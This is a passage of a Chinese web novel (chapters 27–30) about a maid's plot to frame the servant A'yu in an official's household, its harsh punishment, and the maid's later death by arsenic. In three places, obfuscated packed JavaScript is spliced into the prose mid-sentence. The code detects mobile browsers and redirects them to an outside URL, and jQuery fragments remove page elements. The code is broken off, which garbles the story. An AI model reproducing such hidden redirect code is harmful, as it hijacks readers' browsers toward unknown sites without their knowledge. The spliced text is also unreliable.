“奴才这段时间趁着下值后偷偷溜出去赌钱,前几日让瑶琴姑娘抓住了,她威胁奴才如果不按她说的去做,就将我赌钱的事禀告大人,奴才一时害怕,便应了她的要求。瑶琴姑娘拿出一副琉璃耳坠,就是大人方才看到的那副,她让奴才趁着所有人不注意,偷偷藏到阿渔姑娘的首饰匣中,至于为何要这样做,有何后果奴才也不知道。奴才知道的通通都说出来了,求大人饶命啊!” 阿渔听罢,心下明了,果然一切正如她所料。 瑶琴的计谋原是极为精妙。 论天时,裴正卿不在府中,且内宅身份最为尊贵的柳氏正好接了帖子外出,二人不在,无人约束,任随瑶琴将事情闹得再大,也不会有人出来阻止。 论地利,阿渔曾经住过东厢房,且近日频频回到东厢房。事实上,阿渔猜测,不论她去没去过东厢房,不论芳姐儿有没有为她送来包裹,瑶琴都会想方设法地诬陷她与云裳丢失的东西有关。或是耳坠,或是任随其他的什么物什,左右都只是个由头,只是因为琉璃耳坠格外珍贵,而且又是柳氏所赏,意义特殊,方才成了所谓的“赃物”。 至于人和,瑶琴在后宅生存多年,看人的眼光总是有的。她算准了薛娘子精明圆滑,不愿淌进这趟争宠的浑水;也算准了邹妈妈偏心于她,同时忌惮身为罪奴的阿渔会给大人带来潜在的隐患,便是看穿了她的计谋,不仅不会拆穿她,还会顺着她去演;最后利用那名好赌侍卫的把柄,威胁他暗度陈仓,将“赃物”藏进阿渔的房内。 按照瑶琴的计划,借着捉赃的名义,闯进栖云堂,搜查赃物一气呵成。而阿渔未能守住栖云堂是一宗罪;证实了她为家贼是另一宗罪;之后再散播谣言,宣称栖云堂密函泄露,至此阿渔便只有死罪一条。 前半段正如瑶琴预想般进展,然而,她却没料到裴正卿会突然赶回来,也没料到他会坚定地站到她阿渔那边,更没料到阿渔实则早就发现了她的计谋,甚至将计就计,反阴了她一把。 27. 定风波 越来越多证据指向瑶琴,真相似乎呼之欲出,裴正卿淡淡地瞥向瑶琴:“如今两人都指向你,你可有话什么要说?” 到底是裴老夫人特意指来随他南下的奴婢,裴正卿这么问,是打算再给瑶琴一个解释的机会。 瑶琴脸色已经没有方才那般泰然,却仍强自镇定道:“回大人,奴婢委实冤枉。今日分明是云裳姑娘叫嚷着柳夫人赏她的琉璃耳坠丢失,还急赤白脸地要搜查奴婢的房间。奴婢见她不似作假,宽宥了她失礼的要求,还好心陪她四处寻找。结果她不但不感激,闹大了事情收不了场,见大人要责罚于她,还想倒打一耙陷害奴婢。” 云裳怒目圆睁:“你才倒打一耙!别拉我!我非得给这毒妇一点颜色瞧瞧!” “依奴婢看,想来是云裳姑娘收买了侍卫,让他偷偷将耳坠藏在阿渔姑娘的房内,以此试图栽赃陷害于她,若是失败,便推到奴婢身上。”瑶琴拿出之前想好的脱身说辞。 之前类似的事不是没有发生过。 裴家是京城有名的勋贵世家,裴正卿身形高大,温润儒雅,方至中年便官至工部侍郎,正头娘子早逝,后院干净不像其他大官一般充斥着莺莺燕燕,府里的,外头的都削尖了脑袋想要爬上他的床榻。 裴夫人“去世”后,不管是府里的丫鬟,还是外头送来的女人,瑶琴多少都做一些小动作,没有一次让主子怀疑到她的身上。 然而,这一次瑶琴却失算了。 裴正卿不是不知道底下人的动作,先前睁一只眼闭一只眼,这次祸及阿渔,彻底触及到他的逆鳞。 突然,裴正卿没头没尾地问道:“你进府多少年了?” 瑶琴不明所以,规规矩矩地回道:“回大人,奴婢七岁入府,到如今已经十五年了。” “十五年。”裴正卿念着这句话,淡淡道,“既如此,你应当知晓我虽然平素待人宽厚,却治府极严,容不得有人说谎,更容不得有人自作聪明。事到如今,你还不说实话吗?” 瑶琴身形一晃,一种被看穿的狼狈难堪,一种害怕遭到厌弃的惊惧悚然,如蛛网般密密麻麻地蔓延全身,迅速攫住她战栗的心脏。 一旁的邹妈妈悄悄地替她捏了把汗,心跳提到了嗓子眼,若不可察地向瑶琴轻轻摇了摇头,默默道:不要,千万不要...... “回大人,奴婢当真......什么也不知道。” 邹妈妈疲惫地阖上双眼,喟然地叹了口气,何苦来哉!何苦来哉! 裴正卿蹙起眉心,同样轻轻叹了口气,失望道:“你入府十五年,聪慧伶俐,甚得老夫人的欢心,可你却妄以为借此便可将世人都玩弄于股掌之中,殊不知,聪明反被聪明误。” 说罢,裴正卿不再给任何人说话的机会,面色骤然冷厉,不容置喙道:“事情已经水落石出,瑶琴为奴不忠,蛊惑婢女云裳,收买侍卫,陷害阿渔;且无视禁令,企图擅闯栖云堂,桩桩件件,证据确凿!主犯瑶琴,念及你尚未来得及酿成大错,罪不至死,却再已留你不得。念在主仆一场,还与卖身契,驱逐出府!” 瑶琴霎时间面无血色,身形颤巍巍一晃,终于支撑不住,侧身跪倒在地上。 裴正卿见状无动于衷,淡淡道:“劝告你一句,不论你曾经听说了什么,或者不小心看到了什么,最好都闭紧你的嘴,否则届时没有人能救得了你。” 留下这么一句意味深长的警告后,裴正卿不再去看瑶琴的反应,走到那名五花大绑的侍卫面前,眸底聚气狠意,一脚踢得那人五脏六腑都要咳出来。 “高虎——!” “奴才在!” “将这个背主的奴才拖下去,乱杖打死!” 高虎浑身一抖,主子爷平日虽然治下严苛,但由于他气质温润,又在朝廷内任文官,以至于常常让人忘记他祖上是武将起家,实实在在文官的脑子,武官的体格,真要发起狠来惩罚治下人,半点都不含糊。 高虎咽了口唾沫,垂着脑袋抱拳应下:“遵命!” 说罢,便招呼两个兄弟将那名试图挣扎的叛徒抬走,在众人看不到的地方,传来一声接一声清脆响亮的“啪啪——”声,混合着风声,每一声都夹杂着沉重痛苦的闷哼。 纵然众人没有亲眼所见,但光是听到这般骇人的声音都吓得两股战战,瑟瑟发抖。 随着闷哼声越来越小,直到彻底听不见,打板子的声音也停了下来。过了一会儿,一声浓重血腥气的高虎走了过来,拱手回道:“回大人,一切都照您的吩咐办好了,奴才检查了两遍,确信他没了呼吸。” 裴正卿面无表情地嗯了一声,吩咐道:“一卷草席裹起,遣两人趁夜扔去乱葬岗,任何人不准替他收尸!” “奴才遵命!” 裴家是武将世家,对于背叛绝不能容忍,胆敢背叛主子的家奴,只有死路一条。 那名侍卫平日便有赌瘾,一开始只是小赌,后来越赌越大,赌得妻离子散。后来痛改前非悔过了一阵儿,戒掉了赌钱的毛病。谁知此番随侍南下吴州,分外新奇,心痒难耐,旧病再犯,以致让瑶琴抓住了把柄,威逼利诱,结果却将命都搭进去了。 裴正卿打眼望在场诸人一扫:“至于另一个从犯云裳——” 方才见一个活生生的人被打死,云裳彻底晓得眼前看似温文儒雅,实则雷霆手段之人的厉害,吓得涕泗横流,连忙磕头求饶:“大人,我错了,我再也不敢了,求大人饶我一条命,求大人——” 裴正卿使了个眼色,让常喜过去查看。 原来云裳方才惊恐交惧,加上哭得太厉害,一时上气不接下气,晕了过去。 不管真晕假晕,裴正卿原本也不打算要了她的命。与方才两人不同,云裳不是家奴,而是柳夫人送来的,便是喊打喊杀,理应由柳氏动手,只是他多少应当给云裳一些教训,遂吩咐高虎:“婢女云裳乃是从犯,谅其及时坦白,从宽发落,杖责二十,受刑过后由薛娘子带出东院,交由柳夫人处置。” 三名主从犯的处置雷厉风行地吩咐了下,裴正卿睃巡下首面色各异的众人,忽瞥见角落里一言不发的邹妈妈,思忖了一瞬,淡淡道:“邹妈妈年纪大了,不宜终日劳累,院子里的事宜便先放下,交由常喜处理,邹妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481274|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便安心歇息些许日子罢。” “老奴遵命” 邹妈妈知道主子这番敲打是对于她方才当众为难阿渔的警告,她到底是府里的老人儿,不能罚得太过,罢权便是一种无声的提醒。 今夜在场掺和进这场闹剧的丫鬟婆子,无一幸免皆受到了处罚,连闹不清状况的汀兰,以及明哲保身的薛娘子都被罚了一个月的月银。 至于高虎,因着他先前不得不听从邹妈妈的命令,原要对阿渔动手,幸得裴正卿回来得及时,令常喜用弹弓石子儿击中了他的手腕,方才没让邹妈妈得逞。 裴正卿冷冷瞥向高虎的手腕,高虎顿时冷汗直下,心中暗悔先前没能守住立场,忙不迭跪下谢罪:“奴才该死!” 死倒不至于,只是小惩大诫一番定是逃不了。 突然阿渔开口道:“大人且慢,请大人容我一言。我知大人治下极严,赏罚分明。今日之事,高虎固然有不足之处,只是他平日守卫栖云堂尽职尽责,今日欲将我劝离栖云堂亦非出自本心,而是身不由己。另一则,今日之事,不论是惩治叛奴,还是捉住搅乱内宅的家贼,高虎亦出力不少,还望大人见他并无二心,本性纯厚的份儿上,让他功过相抵,宽宥则个。” 阿渔这番话倒并非圣母心泛滥,而是深思熟虑,权衡利弊后方才说出。 当时情况紧急,高虎等人不敢违抗邹妈妈的命令,不得不对强硬守在栖云堂外的她动手,委实情有可原。但阿渔替他求情,却是出于另外的考虑。 裴正卿待她极好,这不假。但他到底需要常常离府,外出巡查河道,督察粮草、运河疏浚进展,以及巡按沿途官员等等诸多事宜,不能每时每刻都待在府中。 而一旦裴正卿离开,纵使她万千宠爱于一身,只她一个空架子,恐怕会如今日这般拦不住任何人。故而她今日替高虎在裴正卿面前求情,便是卖他一个好,让他承她的恩情,日后若再有这般的事,总好过孤立无援。 显然,裴正卿也想到了这点,眉梢一挑,就势一唱一和道:“既然阿渔替你求情,今日便且放你一马,日后定牢牢谨记,万不可再犯今日的错误!” 高虎感激涕淋地磕头道谢:“奴才谢大人宽宥,谢阿渔求情,日后定牢牢守住栖云堂,决不让旁人踏入一步!” 东院的众奴仆见势心里发了紧,看明白了如今东院的主子不是好糊弄的,一改以往不以为意的态度,愈发谨慎了起来。 至于阿渔,为了服众,同样自请罚了一个月的月银。 待众人散去,阿渔默默跟在裴正卿身后回了栖云堂。 一路上,见身前高大的身影闲庭散步,仿佛未曾注意到方才那起事件中,隐隐约约的草蛇灰线,异于寻常的蛛丝马迹。 莫非他未曾留心? 若是之前阿渔或许还抱有一丝侥幸这样认为,但是今日她实实在在地感受到了男人的心思有多缜密。 他绝不可能没发现,所以,是在等她主动坦白? 阿渔轻咬下唇,犹犹豫豫,欲言又止,直到男人走到梧竹居门外,终于下定决心,扑通一声,跪了下去。 28. 诉衷情 “奴婢有罪!” 裴正卿抬步的动作一顿,缓缓转身默了须臾,听不出喜怒地开口道:“你确实有罪。” 阿渔身形微颤,将头低得更深。 男人轻笑一声,接着说道:“你罪在不该自称奴婢。” 阿渔闻言错愕地抬首,见男人双手环抱倚在门前,嘴角噙着一抹揶揄的笑意。 这般轻松的语气和随意慵懒的姿态,同方才在栖云堂外简直判若两人。仿佛那个雷厉风行的裴家家主只是错觉,眼前这个温文儒雅的端方君子才是真实存在的人。 “夜深露重,别跪着了,有话进来说罢。” 说着,裴正卿将她扶起。 阿渔借力站了起来,跟在男人身后,走进房内,见男人在桌前坐定,她想了想,又回身将门掩上。 裴正卿见状,眉梢微挑,却并未多言。 “我猜,你想说的事与方才栖云堂外的那场闹剧有关。” 阿渔恭维道:“大人料事如神。” 裴正卿曲起一只手,撑着下颌,另一只手有一搭没一搭地轻叩桌面,歪着头漫不经心道:“说说罢。” “回大人,事情还要从大人走后说起。那日大人离开后,我便一直待着栖云堂,实在无趣。一次偶然在枇杷园遇到汀兰,闲叙时无意间听她提起,云裳和瑶琴近日往来甚密,与先前大不相同。我原是不信,云裳高傲,瑶琴清冷,二人素无来往,怎会走到一起,遂起了疑心。” 阿渔交代出前因,她知道眼前的男人不是可以随意糊弄的,尤其是今日亲眼所见他如何处置不忠的奴仆,愈发不敢弄虚作假。 阿渔说得提心吊胆,裴正卿却仍有一搭没一搭地叩着桌面,淡淡道:“继续。” “起了疑心后,我每每去东厢房时便特意留心,果真见云裳和瑶琴有异。许是我多心,只是为了栖云堂的安危,我不得不谨慎,是故当即唤来侍卫长高虎,让他近日多加留心栖云堂附近的异动,果真发现看守栖云堂的侍卫中有一人趁着换值时曾溜进过栖云堂内。” 邹妈妈一向偏心瑶琴,薛娘子是柳氏的人,若是将事情告诉她们,难保她们会站在哪一边。至于李七儿和汀兰,在东院无权无势,举步维艰,自身难保。而高虎是裴正卿的人,有能力又立场中立,唯有拜托他最为合适。 “然后你便在你房中找到了一副从未见过的琉璃耳坠,联想到云裳和瑶琴的异样,遂默不作声将计就计放了回去?”虽然是疑问的话,但裴正卿却说得极为肯定。 阿渔摸了摸鼻子,讪讪一笑:“大人英明,什么事都逃不过您的一双慧眼!” 俗话说,千穿万穿马屁不穿,饶是一本正经的裴正卿,闻言面上虽哑然失笑,心里却颇为受用。 裴正卿换了个坐姿,抬眸正视阿渔,意味深长道:“一开始我确实没看出来,只是从你主动同意瑶琴的搜查时,我便察觉出了一些异样,待你让我派人去搜查云裳的房间,我便差不离猜出了你的计策。原担心你受委屈,现在看来就算我没有正好赶回来,云裳和瑶琴也未必能在你这里讨到便宜。” 阿渔悄悄觑了眼裴正卿脸上的表情。 怎的形容呢,倒没有不高兴,反而有些......玩味? 总之没有因此厌弃了她便好,阿渔心里悬着的石头终于落下,堆叠起笑意讨好撒娇道:“那不能,若是没有大人,我便是不死也要脱层皮。大人您都不知道邹妈妈方才有多凶,还有云裳和瑶琴,咄咄逼人,险些便要闯进栖云堂来,幸好大人及时归来,抓出了叛奴,戳穿了她们的阴谋,才没有让他们得逞,现在想来都有些后怕呢!” 裴正卿细细想来,确实如此,愧疚地安慰道:“是我考虑不周,让你受怕了。” 阿渔见好就收,摆摆手道:“无事,左右都过去了。” 裴正卿话头一转,说道:“只是有一点我还不明。” “大人请说。” “你的这个计谋说简单也简单,将计就计物归原主,让对方的谋划落得一场空;说不简单也不简单,发现蛛丝马迹的异常,任用高虎抓住内贼,甚至不动神色地给对方的首饰匣安上夹层。只是,将琉璃耳坠放入夹层我能理解,为何还要放入一副金臂钏和五块银铤,莫非是有何其他的用意?” 阿渔微微惊讶道:“大人细致入微,明察秋毫,金臂钏和银铤确是我特意放进去的,金臂钏是从我外面买的假货,银铤倒是云裳自个儿的。先前刺史夫人赏了她许多首饰,云裳大手大脚惯了,无论是收买消息,还是打点人情都需要银子,月银花光了,她便将心思打在那些首饰上,挑了几件不显眼的卖了换银子。因为此事做得隐晦,旁人并不知晓,我也是偶然撞见方才得知。” 裴正卿恍然大悟:“我明白了,你是打算以其人之道还治其人之身。云裳和瑶琴以琉璃耳坠构陷于你,你便揭穿云裳自私偷卖首饰之事。至于金臂钏,若我所料不错,你打的是和她们一样的主意,以其人之道还治其人之身,反过来说是她们偷窃了你的首饰,可是如此?” “大人洞若观火,寥寥数语便将我的计策猜得八九不离十,确是以其人之道还治其人之身。云裳和瑶琴设计害我,我自然不能坐以待毙,原本我若当真走投无路,确实打算那般做。只是大人及时赶了回来主持公道,又以雷霆之势施以惩罚,我便想着这个计谋不用也罢,就没有再提。” 得饶人处且饶人,既然主导设计这场局的瑶琴已经被轰出府外,为虎作伥的侍卫和云裳两人,一个被杖死,一个被施了板子送还柳夫人,已经算是重罚,今后又碍不着她,阿渔觉得没必要再多此一举,将人逼到绝路。 “咳咳——” 突然,裴正卿轻咳两声,从袖中取出一支灵芝纹水晶簪,思及接下来要说的话,脸色微红略有些不自然道:“此次出去巡查河道,途经一座小镇,正巧看到了这支水晶簪。我看它做工精致,材质纯净,色泽温润,同在观雪亭初见你那日穿的丁香云绢妆花衫甚是相配,便买了回来,你看可还喜欢?” 阿渔惊讶地檀口微张,看了看面前递来的水晶簪,又看了看红着脸温柔温柔注视着她的裴正卿,心儿怦怦跳,指尖轻轻动弹了一下,偏偏嘴上矫情地推拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481275|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“大人的心意我心领了,只是无功不受禄,恕我不能收下。” 裴正卿闻言并未气馁,他歪着头想了想,说道:“就算作是我不在的这段时日,你尽职尽责守卫栖云堂的奖励可好?” “大人莫不是诚心埋汰我?!”阿渔嘟起小嘴儿,嗔怒地瞪了他一眼。 一个时辰前还喊打喊杀,差点让人闯进院子里来,眼下又说是对她守卫栖云堂的奖励,当真是往她伤口上撒盐。转念一想,瑶琴和云裳之所以苦心积虑陷害她,还不是因为栖云堂内有他这块香甜可口,采阳补阴的唐僧肉,而她分明是受到他的连累! 思及此,阿渔愈发愤愤,小声地嘟囔抱怨道:“蓝颜祸水!” 裴正卿低低一笑,靠近一步,摊开手掌将玲珑剔透水晶簪递到阿渔面前。 “那,算作迟归的赔罪可好?” 水润清透的水晶簪光华流转,在烛火下折射出璀璨夺目的光彩。 阿渔努努嘴,端起架子,故作姿态地拿乔道:“好罢,看在水晶簪的份儿上,我原谅你了。” 裴正卿宠溺地看着她得了便宜还卖乖,阿渔在这道灼热的注视下羞赧地垂下脑袋,咬着下唇,心头霎时间似糖似蜜。 “我替你簪上。”裴正卿眸色一暗,声音有些沙哑道。 “嗯。” 阿渔羞答答地应道,忽然面前的光线一暗,一股久违的龙脑香扑面而来,接着一支冰凉的发簪便以一种轻柔的力道缓缓插进她乌黑的云鬓中。明明男人没用蛮力,阿渔却感到头皮一阵发麻,浑身鸡皮疙瘩都站了起来。 一股灼热到几乎可以将她炙烤的热气蒸腾在她脸上,房间内的空气仿佛骤然间变得有些稀薄,阿渔觉得自己已经不能呼吸。 “好了。” 一道温柔的低音将她从窒息中拉了出来,裴正卿定定地盯着阿渔娇媚的桃靥,温润的眸底骤然幽暗深邃,仿佛弥漫着黑瘴的丛林,伸手不见五指,但凡将人引了进去便彻底迷失在其中。 阿渔心脏狂跳,这种陌生的感觉让她既害怕,又迷茫。那个温柔儒雅的君子去了何处?为何眼前的男人突然变得这般陌生,仿佛草原上的猛兽,要将她这只猎物拆骨入腹。 在此之前,阿渔将裴正卿当作高不可攀的主子、宽厚温和的父兄、情趣相投的知己,却不曾想他也是个男人,一个正当壮年的成年男人。 逃!快掉逃! 一股本能的直觉在脑海中不停地催促着她,阿渔急慌慌地收回视线,磕磕巴巴地胡乱道:“我......天色黑了,我还有事,奴婢先行告退......” 乱七八糟地说完,阿渔转身拔腿欲落荒而逃。却不料裴正卿一把拉住她的胳膊,轻轻往回一拉,一个天旋地转,阿渔便完完全全地落入了他的怀中。 阿渔下意识用手抵在裴正卿的肩头稳定身形。 “大人,你......” 突然,她的声音顿时戛然而止。在感受到脸颊上传来男人指腹的温热后,阿渔的脑袋里发出“轰”的一声,霎时间浑身仿佛被施了定身术,动弹不能。 29. 芳魂逝 裴正卿轻轻抚着阿渔染着桃晕的脸颊,喉头滚动,一边克制不住地收紧手心,一边在心里告诫自己,方才送了簪子便做出这般孟浪的举动,与京城里那些浪荡登徒子何异? 情与理在拼命拉扯,终究是还是前者占了上风。 龙脑香愈来愈浓烈,灼热的呼吸交织喷洒在对方的脸上,阿渔不自觉地慢慢阖上了眼,抵在肩头的手软软地垂下,无处安放只得紧紧攥住衣角,心跳砰砰如鼓,不知是刺激,还是害怕。 “大人,不好了不好了——” 突然,常喜急慌慌推门而入,打断了二人的动作。 阿渔听到声音的一瞬间,身体陡然一僵,一股欲要做坏事却被人撞破的羞耻铺天盖地地朝她袭来,尴尬得她恨不能当场钻个地缝藏进去。 “呃,奴才来的不是时候,奴才这就出——” 常喜背过身拍了自己一巴掌,暗悔自己坏了主子的好事,忙不迭正待亡羊补牢,却见阿渔匆匆甩开裴正卿的双手,一溜烟儿夺门而出,落荒而逃了。 裴正卿怅惘地收回空落落的手,合上双眼,强自定了定心神,寒森森道:“日后进来前记得敲门!” “......是。” 常喜苦着脸,诺诺应下。 裴正卿走到桌边灌了几大口冷茶,方才压下那股子躁火,蹙眉问道:“方才急急忙忙,所为何事?” 常喜抿了抿嘴,吞吞吐吐道:“大人,瑶琴她......” 又是瑶琴? 裴正卿皱眉不悦:“不是让她拿回卖身契离开刺史府了吗?” “回大人,瑶琴她......死了。” 裴正卿眸色骤然一沉。 时间回到一个时辰前 西厢房 邹妈妈坐在榻上,眉头紧蹙,扶额叹息,仿佛一夜之间苍老了许多。 她从一个上了锁的樟木箱子中取出一张泛黄的薄纸递给面前的瑶琴:“这是你当初进府时的卖身契,此行南下老夫人让我带了来。原打算待大人将你收用,便由我当着你的面将这张卖身契烧毁,去官府为你登记良籍,抬为侍妾。如今除了这样的事......如何处置便任随你的心意罢。” 见瑶琴面色惨白,摇摇欲坠的模样,邹妈妈愈发扼腕叹息。 原本此番南下吴州,老夫人特意只派了瑶琴一个侍女随行伺候,就是在暗示裴正卿寻个机会,将瑶琴收用,纳入房中。 同时,老夫人还指派了身边最得力的陪房婆子邹妈妈随行。一来觉得瑶琴虽稳重,到底是个黄花大闺女,脸皮儿薄,恐行事时扭捏,伺候主子不得力,遂叮嘱邹妈妈路上传授些房中之术;二来是担心任地官员送些不知底细的莺莺燕燕过来,让邹妈妈从旁盯着,莫生了岔子。 偏偏越担心什么越来什么! 东厢房的四名婢女中,瑶琴是出身裴府的奴婢,且是老夫人中意的侍妾人选,邹妈妈理所应当心里更偏向于她。是故不论是先前云裳收到假消息,私闯汤池,还是这次拱火云裳和阿渔争斗,即便邹妈妈知道其中有瑶琴从中设局,也睁一只眼闭一只眼。 只是邹妈妈到底是裴府的忠奴,主子已至中年,膝下无子,香火不稳,若长久以往,定惹得族人异心四起。譬如一株瓜藤,旁支上枝繁叶茂,硕果累累,而主支却枝叶扶疏,颗粒无收。旁支仗着身形庞大,光明正大地吸取主支的养分,抢夺属于主支的阳光雨露,时日一久,不消待主支彻底枯萎,旁支便会改换门庭,鸠占鹊巢。 裴氏是有爵位的世家望族,自百年前,裴家先祖随太祖皇帝南征北伐,建立晋朝以来,裴家家主世代便是武将,然而现任家主裴正卿却是文官,且丧妻无子。在京城的世家大族中,若是嫡支无后,或者后代是个身子骨儿孱弱的稚子,那么庶支袭爵并非什么稀罕事。 是故,邹妈妈虽在小事上偏袒瑶琴,大体上还是不敢违逆主子。在她看来,不论是瑶琴还是云裳,但凡能为主子生出儿子才有用处。若是不能为主子诞下子嗣,纵然她再欢喜,也不会忘了自个儿的立场和身份。 千言万语在心头,邹妈妈终究只是阖上双眼,长长地叹了一口气:“瑶琴,你这又是何苦啊......” 瑶琴空洞的眼神怔了怔。 是啊,何苦,何苦,到底是什么时候发现自己那般一腔痴情爱着大人呢? 她七岁进府,甫一开始只是先裴夫人院中最低等的粗使婢女。第一次见到大人,只觉得世上怎么会有这般清贵温柔的谪仙,带着奴婢天然对上位者的的倾慕,瑶琴常常和一群小丫鬟在角落里偷看他。 大人和先夫人是瑶琴见过的伉俪情深的夫妻,只羡鸳鸯不羡仙大抵便是这个意思罢,十岁出头的瑶琴拗口地念着这句诗,这是一次大人和先夫人对诗行酒令时,她偶然听见的。此时的她懵懵懂懂,羡慕着大人和先夫人之间温柔如水的爱情。 后来她从一个粗使婢女,一步步被提拔为一等婢女,也见证着大人从一个清贵的贵公子,一步步成长为喜怒不幸于色的裴家家主。在这个过程中,她无意间撞见了一件天大的丑闻,她心目中的神仙眷侣彻底破裂,一种名为“嫉妒”的暗恋悄然生长 直到先裴夫人“去世”,她那点子见不得光的痴恋方才摆在明面上。 明知大人对她无意,却一往情深地痴念他十年,连老夫人都不免动了恻隐之心,大人却丝毫不为之动容。甚至只是因为她使了点手段,想将那个叫阿渔的罪奴赶走,大人便毫不留情地要将她驱逐出府。 瑶琴木然地接过卖身契,缓缓地跪下给邹妈妈磕了个头,而后自顾自地起身,行尸走肉地离去。 “瑶琴!”邹妈妈猛然睁开眼,苦口婆心地劝道,“切记大人今日与你说的话,切记!切记!” 瑶琴身形一顿,没有转身,半晌只是淡淡地轻微应了一声,接着便头也不回地抬起脚步缓缓离去。 过了一会儿,常喜过来找邹妈妈拿院里管事的对牌。 见邹妈妈坐在榻上暗自垂泪,常喜半开玩笑道:“嬷嬷莫不是舍不得放权?” 邹妈妈贵为府里的管事嬷嬷,许久不曾掉过眼泪,更别提还被人见个正着,怪没脸的。她拿起帕子擦去眼角泪花,没好气道:“你个破皮猴子,主子看重你,你不知低调行事,反而蹬鼻子上脸拿老身打趣,我看你是皮痒了讨打!” “嬷嬷消消气,是小的我嘴上没个把门,我给自个儿掌嘴,还望嬷嬷原谅则个。” 常喜又是给自个儿掌嘴,又是拱手作揖道歉,直叫邹妈妈哄得没了脾气。 见邹妈妈消了气,常喜嬉皮笑脸地问道:“那嬷嬷方才为何掉眼泪?.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481276|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..喔,我知道了!嬷嬷定是因为舍不得瑶琴!” 邹妈妈只是叹了口气,没有反驳。 常喜见果真猜中,摸了摸下巴洋洋得意道:“也是,毕竟大家在一个府里共事多年,说来此番大人将瑶琴赶走,我也有些舍不得。可谁让她这次做得这么过,若只是像平日府里那些丫鬟们之间吃醋斗嘴的小打小闹便算了,可她千不该万不该收买看守栖云堂的侍卫。大人最恨背叛不忠的人,她这么做不是摆明了去试探大人的底线嘛。更何况,她这次还要对付大人心尖儿上的人,大人能容得了她才怪......” “你懂什么!”邹妈妈突然厉声斥道,将常喜冷不丁吓了一个机灵。 “嬷嬷......你、你怎么了?”常喜期期艾艾道。 邹妈妈捂着胸口,痛心道:“瑶琴她......怕是活不成了!” “......啊?!”常喜张大嘴巴,又惊又吓。 “嬷、嬷嬷,你莫不是在开玩笑罢。大人分明只是让她拿回卖身契,自请出府,没有说要了她的命......莫非她想寻死?不不不,瑶琴是个聪慧伶俐的,不是那等想不开的死心眼,更何况她在府里这些年应该攒下了不少体几,天大地大的,便是出了府也比寻常人家过得体面,怎会想不开寻死......” 常喜走来走去,兀自猜测,有些话邹妈妈却不便同他说得太过明白。 大人心善,即便这次的事瑶琴犯了错,也从未想过要了她的命,只是将她驱逐出府,可天子却绝不会允许知道他秘密的人脱离掌控地活在这个世界上。 恐怕天子的眼线早已将今夜东院发生的事快马加鞭报了回去,但凡瑶是踏出府里一步,不消半日便会在世上消失无踪,除非...... “喜大爷,喜大爷不好了——” 突然,一个小厮连滚带爬地跑了进来。 常喜正心烦意乱,听到这刺耳的话愈发不耐,上去踹了那人一脚,骂咧咧道:“什么不好不好,你喜大爷好着呢!还有,你这慌慌张张的像什么样子,有什么话给爷滚起来好好说!” 小厮忙不迭爬了起来,连衣服上的灰都没顾得上拍,咽了口唾沫,神情惶恐地回道:“是、是瑶琴姑娘,她死了!尸体就在东北角门附近!” “什么!!!” 常喜瞳孔骤然放大:“完了完了,怎么会这样......她怎么就死了......还愣着作甚,快带我去看看!” 常喜手忙脚乱慌作一团,顾不上追问邹妈妈为何方才就知道瑶琴活不了了,连忙赶去处理尸体。 邹妈妈骤然无力地靠在案几上,难受地捂住胸口,帕子从掌心滑落掉在地上,满是皱纹的脸上老泪纵横。 瑶琴啊,瑶琴,何苦来哉!你终究是没有将大人和我的劝告听进去! 裴正卿先前便隐隐料到了会出现这样的情况,所以才会那般提醒。依瑶琴的聪明才智,不难想明白他在暗示她,若废掉眼睛,毒哑嗓子成为一个毫无威胁的废人,或许有一线生机。 只可惜,她知道,却没有去做。 一步错步步错,终究是心魔难过。 裴正卿听罢,默了须臾,问道:“可查出来是怎么死的?” 常喜偷偷抬眼觑向上首:“回大人,是......砒霜。” 30. 结姻亲 东院死了一个婢女,且她的死极可能与天家有关。 出了这样的事万不可声张,请外面的大夫或者仵作前来验尸怕是不能,好在裴府的侍卫都曾在军营里待过,一些基础的验伤验尸手法多少懂点儿。 侍卫长高虎检查完瑶琴的尸体后,确信她是因服用砒霜,方才导致毒发身亡,因为吞服剂量过大,以致未出院门便倒地气绝身亡。 常喜派人去检查了瑶琴在东厢房的住处,果真找到了一包拆开的砒霜油纸包,油纸上还有些许残余的砒霜粉末儿。 砒霜虽是毒药,但在宅院里并不算罕见,库房和厨房里常年备着砒霜用来药死偷吃的老鼠。东院先前不常住人,园子里栽植不少花草树木,老鼠蜈蚣委实常见。 虽然平日勤撒扫,但难免有疏漏的地方,薛娘子遂令下人们在住人的房间角落都撒上一些砒霜。是故瑶琴能弄到砒霜不足为奇。问题在于她是主动服下的,还是有人逼迫她? 裴正卿让人将瑶琴的尸体抬回东厢房。 